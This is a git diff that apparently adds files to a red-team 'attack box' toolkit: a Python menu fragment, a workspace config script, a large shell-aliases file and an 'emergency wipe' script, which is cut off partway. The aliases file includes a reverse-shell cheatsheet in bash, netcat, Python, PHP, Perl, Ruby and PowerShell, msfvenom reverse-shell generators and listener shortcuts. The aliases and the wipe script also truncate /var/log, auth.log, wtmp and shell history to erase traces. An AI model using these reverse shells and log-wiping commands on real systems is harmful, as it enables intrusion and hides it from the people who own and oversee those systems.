||||||
|
print(f"1. SSH to your attack box using the saved credentials")
|
||||||
|
print(f"2. Run initial security updates")
|
||||||
|
print(f"3. Configure VPN if enabled")
|
||||||
|
print(f"4. Begin reconnaissance")
|
||||||
|
|
||||||
|
if config.get('ssh_after_deploy'):
|
||||||
|
from utils.ssh_utils import ssh_to_instance
|
||||||
|
ssh_to_instance(config)
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Attack box deployment failed.{COLORS['RESET']}")
|
||||||
|
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
attack_box_menu()
|
||||||
+36
@@ -0,0 +1,36 @@
|
|||||||
|
# Attack Box Configuration
|
||||||
|
# ========================
|
||||||
|
|
||||||
|
# Attack Box Setup Information
|
||||||
|
ATTACK_BOX_VERSION="1.0.0"
|
||||||
|
WORKSPACE_DIR="/root/operator"
|
||||||
|
SCRIPTS_DIR="/root/operator/tools/scripts"
|
||||||
|
TOOLS_DIR="/root/operator/tools"
|
||||||
|
|
||||||
|
# Available Commands
|
||||||
|
echo "Attack Box Commands:"
|
||||||
|
echo "==================="
|
||||||
|
echo "recon <target> - Run reconnaissance automation"
|
||||||
|
echo "portscan <target> - Run port scan automation"
|
||||||
|
echo "webenum <target> - Run web enumeration automation"
|
||||||
|
echo "attack-menu - Launch manual testing menu"
|
||||||
|
echo "operator - Change to main directory"
|
||||||
|
echo "mkoperator <name> - Create new engagement structure"
|
||||||
|
echo ""
|
||||||
|
echo "Workspace Structure:"
|
||||||
|
echo "==================="
|
||||||
|
echo "~/operator/tools/ - All security tools and scripts"
|
||||||
|
echo "~/operator/scans/ - All scan results organized by type"
|
||||||
|
echo "~/operator/loot/ - Extracted data and credentials"
|
||||||
|
echo "~/operator/targets/ - Target lists and reconnaissance"
|
||||||
|
echo "~/operator/notes/ - Manual notes and observations"
|
||||||
|
echo "~/operator/reports/ - Documentation and reporting"
|
||||||
|
echo "~/operator/exploits/ - Working exploits and POCs"
|
||||||
|
echo "~/operator/payloads/ - Custom payloads and shells"
|
||||||
|
echo "~/operator/wordlists/ - Custom and downloaded wordlists"
|
||||||
|
echo "~/operator/pcaps/ - Network captures and analysis"
|
||||||
|
echo ""
|
||||||
|
echo "Trashpanda-style Directory Structure:"
|
||||||
|
echo "====================================="
|
||||||
|
echo "The operator directory follows the exact structure as TrashPanda tool"
|
||||||
|
echo "with organized subdirectories for different scan types and data."
|
||||||
@@ -0,0 +1,462 @@
|
|||||||
|
# OPSEC-Aware Shell Aliases for Attack Box
|
||||||
|
# Clean configuration without identifiable information
|
||||||
|
|
||||||
|
# ─── GENERAL ALIASES ─────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
alias ll='ls -alFh --color=auto'
|
||||||
|
alias la='ls -A --color=auto'
|
||||||
|
alias l='ls -CF --color=auto'
|
||||||
|
alias cls='clear'
|
||||||
|
alias clr='clear'
|
||||||
|
alias ..='cd ..'
|
||||||
|
alias ...='cd ../..'
|
||||||
|
alias ....='cd ../../..'
|
||||||
|
alias grep='grep --color=auto'
|
||||||
|
alias egrep='egrep --color=auto'
|
||||||
|
alias fgrep='fgrep --color=auto'
|
||||||
|
|
||||||
|
# File operations with safety
|
||||||
|
alias cp='cp -i'
|
||||||
|
alias mv='mv -i'
|
||||||
|
alias rm='rm -i'
|
||||||
|
|
||||||
|
# ─── OPSEC ALIASES ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
# Network checks
|
||||||
|
alias myip='curl -s ifconfig.me'
|
||||||
|
alias checkip='curl -s https://ipinfo.io/ip'
|
||||||
|
alias checkdns='cat /etc/resolv.conf'
|
||||||
|
alias ports='netstat -tulanp'
|
||||||
|
alias listen='lsof -i -P | grep LISTEN'
|
||||||
|
alias estab='lsof -i -P | grep ESTABLISHED'
|
||||||
|
|
||||||
|
# Process and connection monitoring
|
||||||
|
alias checkcon='ss -tupan | grep ESTABLISHED'
|
||||||
|
alias checklis='ss -tupan | grep LISTEN'
|
||||||
|
alias checkproc='ps auxf | grep -v grep | grep'
|
||||||
|
alias psg='ps aux | grep -v grep | grep -i'
|
||||||
|
alias pscpu='ps auxf | sort -nr -k 3'
|
||||||
|
alias psmem='ps auxf | sort -nr -k 4'
|
||||||
|
|
||||||
|
# Emergency and cleanup
|
||||||
|
alias panic='emergency-wipe.sh'
|
||||||
|
alias emergency-wipe='emergency-wipe.sh'
|
||||||
|
alias killcon='killall -9 openvpn ssh sshd nc ncat socat 2>/dev/null'
|
||||||
|
alias clean='trash-cleanup.sh'
|
||||||
|
alias opsec='opsec-check.sh'
|
||||||
|
|
||||||
|
# Cleanup operations
|
||||||
|
alias wipe-free='sudo sfill -v /'
|
||||||
|
alias clear-logs='sudo find /var/log -type f -exec truncate -s 0 {} \;'
|
||||||
|
alias clear-history='history -c && > ~/.bash_history && > ~/.zsh_history'
|
||||||
|
alias clear-auth='sudo truncate -s 0 /var/log/auth.log'
|
||||||
|
alias shred-file='shred -vfz -n 3'
|
||||||
|
|
||||||
|
# Anonymity
|
||||||
|
alias anon-on='sudo systemctl start tor && . torsocks on'
|
||||||
|
alias anon-off='. torsocks off && sudo systemctl stop tor'
|
||||||
|
alias check-tor='curl -s https://check.torproject.org/api/ip'
|
||||||
|
|
||||||
|
# ─── NAVIGATION SHORTCUTS ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
alias ops='cd ~/ops'
|
||||||
|
alias targets='cd ~/ops/targets'
|
||||||
|
alias loot='cd ~/ops/loot'
|
||||||
|
alias logs='cd ~/ops/logs'
|
||||||
|
alias reports='cd ~/ops/reports'
|
||||||
|
alias shells='cd ~/ops/shells'
|
||||||
|
alias mount='cd ~/ops/mount'
|
||||||
|
alias tools='cd ~/tools'
|
||||||
|
alias www='cd /var/www/html'
|
||||||
|
alias tmp='cd /tmp'
|
||||||
|
alias payloads='cd ~/ops/payloads'
|
||||||
|
alias wordlists='cd ~/tools/wordlists'
|
||||||
|
alias exploits='cd ~/ops/exploits'
|
||||||
|
|
||||||
|
# ─── QUICK SERVERS ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
alias serve='python3 -m http.server'
|
||||||
|
alias serve80='sudo python3 -m http.server 80'
|
||||||
|
alias servephp='php -S 0.0.0.0:8080'
|
||||||
|
alias smbserv='impacket-smbserver share . -smb2support'
|
||||||
|
alias ftpserv='python3 -m pyftpdlib -p 21 -w'
|
||||||
|
|
||||||
|
# ─── REVERSE SHELL CATCHERS ──────────────────────────────────────────────────
|
||||||
|
|
||||||
|
alias ncl='nc -nvlp'
|
||||||
|
alias ncu='nc -nvu'
|
||||||
|
alias socatl='socat TCP-LISTEN:$1,reuseaddr,fork -'
|
||||||
|
alias rlwrapl='rlwrap nc -nvlp'
|
||||||
|
|
||||||
|
# ─── SSH TUNNEL SHORTCUTS ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
alias socks='function _socks() {
|
||||||
|
local config_name="$1"
|
||||||
|
local port="${2:-1080}"
|
||||||
|
|
||||||
|
if [ -z "$config_name" ]; then
|
||||||
|
echo "Usage: socks <ssh-config-name> [port]"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Kill existing proxy
|
||||||
|
lsof -ti:$port | xargs -r kill -9 2>/dev/null
|
||||||
|
|
||||||
|
# Start SSH SOCKS proxy
|
||||||
|
ssh -D $port -N -f "$config_name" || return 1
|
||||||
|
|
||||||
|
# Create temp profile
|
||||||
|
local temp_profile="/tmp/firefox-socks-$$"
|
||||||
|
mkdir -p "$temp_profile"
|
||||||
|
|
||||||
|
# Add proxy settings
|
||||||
|
cat > "$temp_profile/user.js" << EOF
|
||||||
|
user_pref("network.proxy.type", 1);
|
||||||
|
user_pref("network.proxy.socks", "localhost");
|
||||||
|
user_pref("network.proxy.socks_port", $port);
|
||||||
|
user_pref("network.proxy.socks_version", 5);
|
||||||
|
user_pref("network.proxy.socks_remote_dns", true);
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Use setsid to fully detach and preserve input
|
||||||
|
setsid firefox --profile "$temp_profile" --no-remote https://httpbin.org/ip &
|
||||||
|
|
||||||
|
echo "✓ Firefox launched with SOCKS proxy"
|
||||||
|
}; _socks'
|
||||||
|
|
||||||
|
# Enhanced stop function
|
||||||
|
alias socks-stop='function _socks_stop() {
|
||||||
|
local port="${1:-1080}"
|
||||||
|
|
||||||
|
echo -n "Stopping SOCKS proxy on port $port... "
|
||||||
|
lsof -ti:$port | xargs -r kill -9 2>/dev/null && echo "OK" || echo "Not running"
|
||||||
|
|
||||||
|
# Clean up temp profiles
|
||||||
|
rm -rf /tmp/firefox-socks-* 2>/dev/null
|
||||||
|
}; _socks_stop'
|
||||||
|
|
||||||
|
# Local port forwarding - Access remote service on local port
|
||||||
|
# Usage: ssh-local 8080 target.com 80 user@jumpbox
|
||||||
|
ssh-local() {
|
||||||
|
if [ $# -ne 4 ]; then
|
||||||
|
echo "Usage: ssh-local <local-port> <remote-host> <remote-port> <ssh-server>"
|
||||||
|
echo "Example: ssh-local 8080 10.10.10.1 80 user@jumpbox.com"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
echo "[*] Creating local tunnel: localhost:$1 -> $2:$3 via $4"
|
||||||
|
ssh -N -L $1:$2:$3 $4
|
||||||
|
}
|
||||||
|
|
||||||
|
# Remote port forwarding - Expose local service to remote
|
||||||
|
# Usage: ssh-remote 8080 localhost 80 user@public-server
|
||||||
|
ssh-remote() {
|
||||||
|
if [ $# -ne 4 ]; then
|
||||||
|
echo "Usage: ssh-remote <remote-port> <local-host> <local-port> <ssh-server>"
|
||||||
|
echo "Example: ssh-remote 8080 localhost 80 user@public-server.com"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
echo "[*] Creating remote tunnel: $4:$1 -> $2:$3"
|
||||||
|
ssh -N -R $1:$2:$3 $4
|
||||||
|
}
|
||||||
|
|
||||||
|
# Dynamic SOCKS proxy
|
||||||
|
# Usage: ssh-socks 1080 user@target
|
||||||
|
ssh-socks() {
|
||||||
|
if [ $# -ne 2 ]; then
|
||||||
|
echo "Usage: ssh-socks <local-port> <ssh-server>"
|
||||||
|
echo "Example: ssh-socks 1080 user@target.com"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
echo "[*] Creating SOCKS proxy on port $1 via $2"
|
||||||
|
echo "[*] Configure browser/proxychains: socks5://127.0.0.1:$1"
|
||||||
|
ssh -N -D $1 $2
|
||||||
|
}
|
||||||
|
|
||||||
|
# Multi-hop SSH tunnel
|
||||||
|
# Usage: ssh-multihop target.internal jumpbox.com
|
||||||
|
ssh-multihop() {
|
||||||
|
if [ $# -ne 2 ]; then
|
||||||
|
echo "Usage: ssh-multihop <final-target> <jumpbox>"
|
||||||
|
echo "Example: ssh-multihop root@10.10.10.1 user@jumpbox.com"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
echo "[*] Connecting to $1 via $2"
|
||||||
|
ssh -J $2 $1
|
||||||
|
}
|
||||||
|
|
||||||
|
# ─── SSHFS MOUNT SHORTCUTS ───────────────────────────────────────────────────
|
||||||
|
|
||||||
|
# Mount remote directory via SSHFS
|
||||||
|
# Usage: ssh-mount user@host:/path /local/mount
|
||||||
|
ssh-mount() {
|
||||||
|
if [ $# -ne 2 ]; then
|
||||||
|
echo "Usage: ssh-mount <user@host:/remote/path> <local-mount-point>"
|
||||||
|
echo "Example: ssh-mount root@target.com:/var/www ~/ops/mount/www"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
mkdir -p $2
|
||||||
|
echo "[*] Mounting $1 to $2"
|
||||||
|
sshfs -o allow_other,default_permissions $1 $2
|
||||||
|
}
|
||||||
|
|
||||||
|
# Unmount SSHFS
|
||||||
|
# Usage: ssh-unmount /local/mount
|
||||||
|
ssh-unmount() {
|
||||||
|
if [ $# -ne 1 ]; then
|
||||||
|
echo "Usage: ssh-unmount <local-mount-point>"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
echo "[*] Unmounting $1"
|
||||||
|
fusermount -u $1
|
||||||
|
}
|
||||||
|
|
||||||
|
# Mount with specific SSH key
|
||||||
|
# Usage: ssh-mount-key user@host:/path /local/mount /path/to/key
|
||||||
|
ssh-mount-key() {
|
||||||
|
if [ $# -ne 3 ]; then
|
||||||
|
echo "Usage: ssh-mount-key <user@host:/remote/path> <local-mount> <ssh-key>"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
mkdir -p $2
|
||||||
|
echo "[*] Mounting $1 to $2 using key $3"
|
||||||
|
sshfs -o allow_other,default_permissions,IdentityFile=$3 $1 $2
|
||||||
|
}
|
||||||
|
|
||||||
|
# ─── TOOL SHORTCUTS ──────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
# Metasploit
|
||||||
|
alias msf='msfconsole -q'
|
||||||
|
alias msfup='msfupdate'
|
||||||
|
alias msfrpc='msfrpcd -U msf -P msf -a 127.0.0.1'
|
||||||
|
|
||||||
|
# Nmap shortcuts
|
||||||
|
alias nmap-full='nmap -sC -sV -O -p- -T4'
|
||||||
|
alias nmap-udp='sudo nmap -sU -sV --top-ports 1000'
|
||||||
|
alias nmap-vuln='nmap -sV --script=vuln'
|
||||||
|
alias nmap-smb='nmap -sV -p 445 --script=smb-enum-shares,smb-enum-users'
|
||||||
|
|
||||||
|
# Tool updates
|
||||||
|
alias update-tools='update-all-tools.sh'
|
||||||
|
alias update-searchsploit='searchsploit -u'
|
||||||
|
alias update-nmap-scripts='sudo nmap --script-updatedb'
|
||||||
|
|
||||||
|
# Quick tool access
|
||||||
|
alias kerb='kerbrute'
|
||||||
|
alias responder='sudo responder -I eth0 -wFv'
|
||||||
|
alias crack='crackmapexec'
|
||||||
|
alias evil='evil-winrm -i'
|
||||||
|
alias bloodhound-start='sudo neo4j start && bloodhound'
|
||||||
|
|
||||||
|
# ─── ENCODING/DECODING ───────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
alias b64d='base64 -d'
|
||||||
|
alias b64e='base64 -w 0'
|
||||||
|
alias urldecode='python3 -c "import sys, urllib.parse as ul; print(ul.unquote(sys.stdin.read()))"'
|
||||||
|
alias urlencode='python3 -c "import sys, urllib.parse as ul; print(ul.quote(sys.stdin.read()))"'
|
||||||
|
alias hexdump='od -A x -t x1z -v'
|
||||||
|
alias rot13='tr "A-Za-z" "N-ZA-Mn-za-m"'
|
||||||
|
|
||||||
|
# ─── METASPLOIT PAYLOAD GENERATORS ───────────────────────────────────────────
|
||||||
|
|
||||||
|
alias msfpayloads='msfvenom -l payloads'
|
||||||
|
alias msfencoders='msfvenom -l encoders'
|
||||||
|
alias winrev='msfvenom -p windows/x64/shell_reverse_tcp LHOST=$1 LPORT=$2 -f exe -o shell.exe'
|
||||||
|
alias linrev='msfvenom -p linux/x64/shell_reverse_tcp LHOST=$1 LPORT=$2 -f elf -o shell.elf'
|
||||||
|
alias phprev='msfvenom -p php/reverse_php LHOST=$1 LPORT=$2 -f raw -o shell.php'
|
||||||
|
alias asprev='msfvenom -p windows/shell_reverse_tcp LHOST=$1 LPORT=$2 -f asp -o shell.asp'
|
||||||
|
alias jsprev='msfvenom -p java/jsp_shell_reverse_tcp LHOST=$1 LPORT=$2 -f raw -o shell.jsp'
|
||||||
|
alias warrev='msfvenom -p java/jsp_shell_reverse_tcp LHOST=$1 LPORT=$2 -f war -o shell.war'
|
||||||
|
|
||||||
|
# ─── WORDLIST SHORTCUTS ──────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
alias rockyou='locate rockyou.txt | head -1'
|
||||||
|
alias seclists='cd ~/tools/wordlists/SecLists'
|
||||||
|
alias dirmedium='locate directory-list-2.3-medium.txt | head -1'
|
||||||
|
alias submedium='locate subdomains-top1million-110000.txt | head -1'
|
||||||
|
|
||||||
|
# ─── PROXYCHAINS ─────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
alias pc='proxychains4 -q'
|
||||||
|
alias pcnmap='proxychains4 -q nmap -sT -Pn'
|
||||||
|
|
||||||
|
# ─── CHISEL SHORTCUTS ────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
alias chisel-server='chisel server -p 8000 --reverse'
|
||||||
|
alias chisel-client='chisel client $1:8000 R:socks'
|
||||||
|
|
||||||
|
# ─── QUICK FUNCTIONS ─────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
# Extract various archive types
|
||||||
|
extract() {
|
||||||
|
if [ -f $1 ]; then
|
||||||
|
case $1 in
|
||||||
|
*.tar.bz2) tar xjf $1 ;;
|
||||||
|
*.tar.gz) tar xzf $1 ;;
|
||||||
|
*.bz2) bunzip2 $1 ;;
|
||||||
|
*.rar) unrar x $1 ;;
|
||||||
|
*.gz) gunzip $1 ;;
|
||||||
|
*.tar) tar xf $1 ;;
|
||||||
|
*.tbz2) tar xjf $1 ;;
|
||||||
|
*.tgz) tar xzf $1 ;;
|
||||||
|
*.zip) unzip $1 ;;
|
||||||
|
*.Z) uncompress $1;;
|
||||||
|
*.7z) 7z x $1 ;;
|
||||||
|
*) echo "'$1' cannot be extracted" ;;
|
||||||
|
esac
|
||||||
|
else
|
||||||
|
echo "'$1' is not a valid file"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Create backup of file
|
||||||
|
backup() {
|
||||||
|
cp "$1" "${1}.$(date +%Y%m%d_%H%M%S).bak"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Quick nmap scans
|
||||||
|
quickscan() {
|
||||||
|
echo "[*] Quick scan of $1"
|
||||||
|
nmap -sV -sC -O -T4 -n -Pn -oA quickscan_$1 $1
|
||||||
|
}
|
||||||
|
|
||||||
|
fullscan() {
|
||||||
|
echo "[*] Full scan of $1"
|
||||||
|
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullscan_$1 $1
|
||||||
|
}
|
||||||
|
|
||||||
|
udpscan() {
|
||||||
|
echo "[*] UDP scan of $1"
|
||||||
|
sudo nmap -sU -sV --top-ports 1000 -oA udpscan_$1 $1
|
||||||
|
}
|
||||||
|
|
||||||
|
# Reverse shell cheatsheet
|
||||||
|
revshells() {
|
||||||
|
echo "===== Reverse Shell Cheatsheet ====="
|
||||||
|
echo "Bash:"
|
||||||
|
echo " bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
|
||||||
|
echo ""
|
||||||
|
echo "Bash (alternative):"
|
||||||
|
echo " 0<&196;exec 196<>/dev/tcp/10.0.0.1/4444; sh <&196 >&196 2>&196"
|
||||||
|
echo ""
|
||||||
|
echo "Netcat:"
|
||||||
|
echo " nc -e /bin/bash 10.0.0.1 4444"
|
||||||
|
echo " nc -c bash 10.0.0.1 4444"
|
||||||
|
echo " rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f"
|
||||||
|
echo ""
|
||||||
|
echo "Python:"
|
||||||
|
echo " python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'"
|
||||||
|
echo ""
|
||||||
|
echo "Python3:"
|
||||||
|
echo " python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'"
|
||||||
|
echo ""
|
||||||
|
echo "PHP:"
|
||||||
|
echo " php -r '\$sock=fsockopen(\"10.0.0.1\",4444);exec(\"/bin/bash <&3 >&3 2>&3\");'"
|
||||||
|
echo " php -r '\$sock=fsockopen(\"10.0.0.1\",4444);shell_exec(\"/bin/bash <&3 >&3 2>&3\");'"
|
||||||
|
echo " php -r '\$sock=fsockopen(\"10.0.0.1\",4444);\$proc=proc_open(\"/bin/bash\", array(0=>\$sock, 1=>\$sock, 2=>\$sock),\$pipes);'"
|
||||||
|
echo ""
|
||||||
|
echo "Perl:"
|
||||||
|
echo " perl -e 'use Socket;\$i=\"10.0.0.1\";\$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'"
|
||||||
|
echo ""
|
||||||
|
echo "Ruby:"
|
||||||
|
echo " ruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",4444).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'"
|
||||||
|
echo ""
|
||||||
|
echo "PowerShell:"
|
||||||
|
echo " powershell -nop -c \"\$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\""
|
||||||
|
}
|
||||||
|
|
||||||
|
# Upgrade shell
|
||||||
|
upgradeshell() {
|
||||||
|
echo "===== Shell Upgrade Commands ====="
|
||||||
|
echo "Python:"
|
||||||
|
echo " python -c 'import pty;pty.spawn(\"/bin/bash\")'"
|
||||||
|
echo " python3 -c 'import pty;pty.spawn(\"/bin/bash\")'"
|
||||||
|
echo ""
|
||||||
|
echo "Script:"
|
||||||
|
echo " script -q /dev/null -c bash"
|
||||||
|
echo ""
|
||||||
|
echo "Then:"
|
||||||
|
echo " export TERM=xterm"
|
||||||
|
echo " export SHELL=bash"
|
||||||
|
echo " stty rows 24 cols 80"
|
||||||
|
echo ""
|
||||||
|
echo "Background with Ctrl+Z, then:"
|
||||||
|
echo " stty raw -echo;fg"
|
||||||
|
echo ""
|
||||||
|
echo "For zsh shell:"
|
||||||
|
echo " python3 -c 'import pty;pty.spawn(\"/bin/zsh\")'"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Quick HTTP server with upload capability
|
||||||
|
upload_server() {
|
||||||
|
echo "Starting upload server on port 8080..."
|
||||||
|
python3 -c 'import http.server,socketserver,cgi,os;os.chdir("/tmp");class SimpleHTTPRequestHandlerWithUpload(http.server.SimpleHTTPRequestHandler):
|
||||||
|
def do_POST(self):
|
||||||
|
if self.path=="/upload":
|
||||||
|
form=cgi.FieldStorage(fp=self.rfile,headers=self.headers,environ={"REQUEST_METHOD":"POST","CONTENT_TYPE":self.headers["Content-Type"]})
|
||||||
|
filename=form["file"].filename
|
||||||
|
data=form["file"].file.read()
|
||||||
|
with open(filename,"wb")as f:f.write(data)
|
||||||
|
self.send_response(200)
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(b"Upload successful")
|
||||||
|
else:self.send_error(404)
|
||||||
|
httpd=socketserver.TCPServer(("",8080),SimpleHTTPRequestHandlerWithUpload);print("Upload server at http://0.0.0.0:8080/upload");httpd.serve_forever()'
|
||||||
|
}
|
||||||
|
|
||||||
|
# Check all running services
|
||||||
|
checkservices() {
|
||||||
|
echo "===== Running Services ====="
|
||||||
|
systemctl list-units --type=service --state=running
|
||||||
|
}
|
||||||
|
|
||||||
|
# Download file to target
|
||||||
|
download() {
|
||||||
|
if [ $# -ne 2 ]; then
|
||||||
|
echo "Usage: download <URL> <output-file>"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
echo "[*] Downloading $1 to $2"
|
||||||
|
curl -s -L "$1" -o "$2" || wget -q "$1" -O "$2"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Git shortcuts
|
||||||
|
alias gs='git status'
|
||||||
|
alias ga='git add'
|
||||||
|
alias gc='git commit -m'
|
||||||
|
alias gp='git push'
|
||||||
|
alias gl='git log --oneline'
|
||||||
|
alias gd='git diff'
|
||||||
|
|
||||||
|
# Docker shortcuts
|
||||||
|
alias dps='docker ps'
|
||||||
|
alias dpsa='docker ps -a'
|
||||||
|
alias dimg='docker images'
|
||||||
|
alias dexec='docker exec -it'
|
||||||
|
alias dlog='docker logs'
|
||||||
|
alias dstop='docker stop $(docker ps -q)'
|
||||||
|
alias drm='docker rm $(docker ps -a -q)'
|
||||||
|
alias drmi='docker rmi $(docker images -q)'
|
||||||
|
|
||||||
|
# ─── VIRTUAL ENVIRONMENT ALIASES ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
alias venv-create='python3 -m venv venv; source venv/bin/activate; pip install -r requirements.txt'
|
||||||
|
alias venv-activate='source venv/bin/activate'
|
||||||
|
|
||||||
|
# ─── BURP PROXY ALIASES ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
alias burp_proxy='export https_proxy=http://127.0.0.1:8080; export http_proxy=$https_proxy; export NO_PROXY=169.254.169.254; echo "Burp proxy enabled: $http_proxy"'
|
||||||
|
alias disable_burp_proxy='unset https_proxy; unset http_proxy; unset NO_PROXY; echo "Burp proxy disabled"'
|
||||||
|
|
||||||
|
# ─── RED TEAM VPN MONITORING ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
# Safe OPSEC status check
|
||||||
|
alias opsec-status='echo "🔍 OPSEC Status:"; echo "VPN: $(pgrep openvpn > /dev/null && echo "🔒 Connected" || echo "❌ Disconnected")"; echo "Tor: $(systemctl is-active tor 2>/dev/null | grep -q active && echo "🔒 Active" || echo "❌ Inactive")"; echo "IP: $(curl -s --max-time 2 ifconfig.me || echo "Check failed")"'
|
||||||
|
|
||||||
|
# Network status for red team ops
|
||||||
|
alias net-status='echo "=== Network Status ==="; ip route | grep -E "tun|tor|vpn" || echo "No VPN/Tor interfaces"; echo ""; echo "=== External IP ==="; curl -s --max-time 3 ifconfig.me || echo "IP check failed"'
|
||||||
|
|
||||||
|
# Quick OPSEC check
|
||||||
|
alias quick-opsec='opsec-status && echo "" && echo "=== Connections ===" && ss -tupln | grep -E ":443|:9050|:1080" | head -5'
|
||||||
|
|
||||||
|
# Tool paths
|
||||||
|
export PATH=$PATH:~/tools:~/.cargo/bin:~/go/bin:/usr/local/bin
|
||||||
Executable
+87
@@ -0,0 +1,87 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Emergency Wipe Script for OPSEC
|
||||||
|
# Quickly sanitizes system for emergency situations
|
||||||
|
|
||||||
|
RED='\033[0;31m'
|
||||||
|
GREEN='\033[0;32m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
NC='\033[0m'
|
||||||
|
|
||||||
|
echo -e "${RED}=== EMERGENCY SANITIZATION PROTOCOL ===${NC}"
|
||||||
|
echo -e "${YELLOW}This will clear sensitive data and logs${NC}"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# Confirm emergency wipe
|
||||||
|
read -p "Are you sure you want to proceed? (type YES): " CONFIRM
|
||||||
|
if [ "$CONFIRM" != "YES" ]; then
|
||||||
|
echo -e "${GREEN}Emergency wipe cancelled${NC}"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo -e "${RED}[*] Beginning emergency sanitization...${NC}"
|
||||||
|
|
||||||
|
# Clear command history
|
||||||
|
echo -e "${YELLOW}[*] Clearing command history${NC}"
|
||||||
|
history -c
|
||||||
|
> ~/.bash_history
|
||||||
|
> ~/.zsh_history
|
||||||
|
> ~/.python_history
|
||||||
|
> ~/.mysql_history
|
||||||
|
> ~/.psql_history
|
||||||
|
|
||||||
|
# Clear system logs
|
||||||
|
echo -e "${YELLOW}[*] Clearing system logs${NC}"
|
||||||
|
sudo find /var/log -type f -exec truncate -s 0 {} \; 2>/dev/null
|
||||||
|
sudo truncate -s 0 /var/log/auth.log 2>/dev/null
|
||||||
|
sudo truncate -s 0 /var/log/syslog 2>/dev/null
|
||||||
|
sudo truncate -s 0 /var/log/kern.log 2>/dev/null
|
||||||
|
|
||||||
|
# Clear temporary files
|
||||||
|
echo -e "${YELLOW}[*] Clearing temporary files${NC}"
|
||||||
|
sudo rm -rf /tmp/* 2>/dev/null
|
||||||
|
sudo rm -rf /var/tmp/* 2>/dev/null
|
||||||
|
rm -rf ~/.cache/* 2>/dev/null
|
||||||
|
|
||||||
|
# Clear SSH known hosts
|
||||||
|
echo -e "${YELLOW}[*] Clearing SSH artifacts${NC}"
|
||||||
|
> ~/.ssh/known_hosts
|
||||||
|
sudo truncate -s 0 /var/log/btmp 2>/dev/null
|
||||||
|
sudo truncate -s 0 /var/log/wtmp 2>/dev/null
|
||||||
|
sudo truncate -s 0 /var/log/lastlog 2>/dev/null
|
||||||
|
|
||||||
|
# Clear network traces
|
||||||
|
echo -e "${YELLOW}[*] Clearing network artifacts${NC}"
|
||||||
|
sudo ip neigh flush all 2>/dev/null
|
||||||
|
|
||||||
|
# Clear DNS cache
|
||||||
|
echo -e "${YELLOW}[*] Clearing DNS cache${NC}"
|
||||||
|
sudo systemctl restart systemd-resolved 2>/dev/null
|
||||||
|
|
||||||
|
# Clear browser data if present
|
||||||
|
echo -e "${YELLOW}[*] Clearing browser data${NC}"
|
||||||
|
rm -rf ~/.mozilla/firefox/*/sessionstore* 2>/dev/null
|
||||||
|
rm -rf ~/.mozilla/firefox/*/cookies.sqlite 2>/dev/null
|
||||||
|
rm -rf ~/.config/google-chrome/Default/History 2>/dev/null
|
||||||
|
rm -rf ~/.config/google-chrome/Default/Cookies 2>/dev/null
|
||||||
|
|
||||||
|
# Secure delete free space (optional - takes time)
|
||||||
|
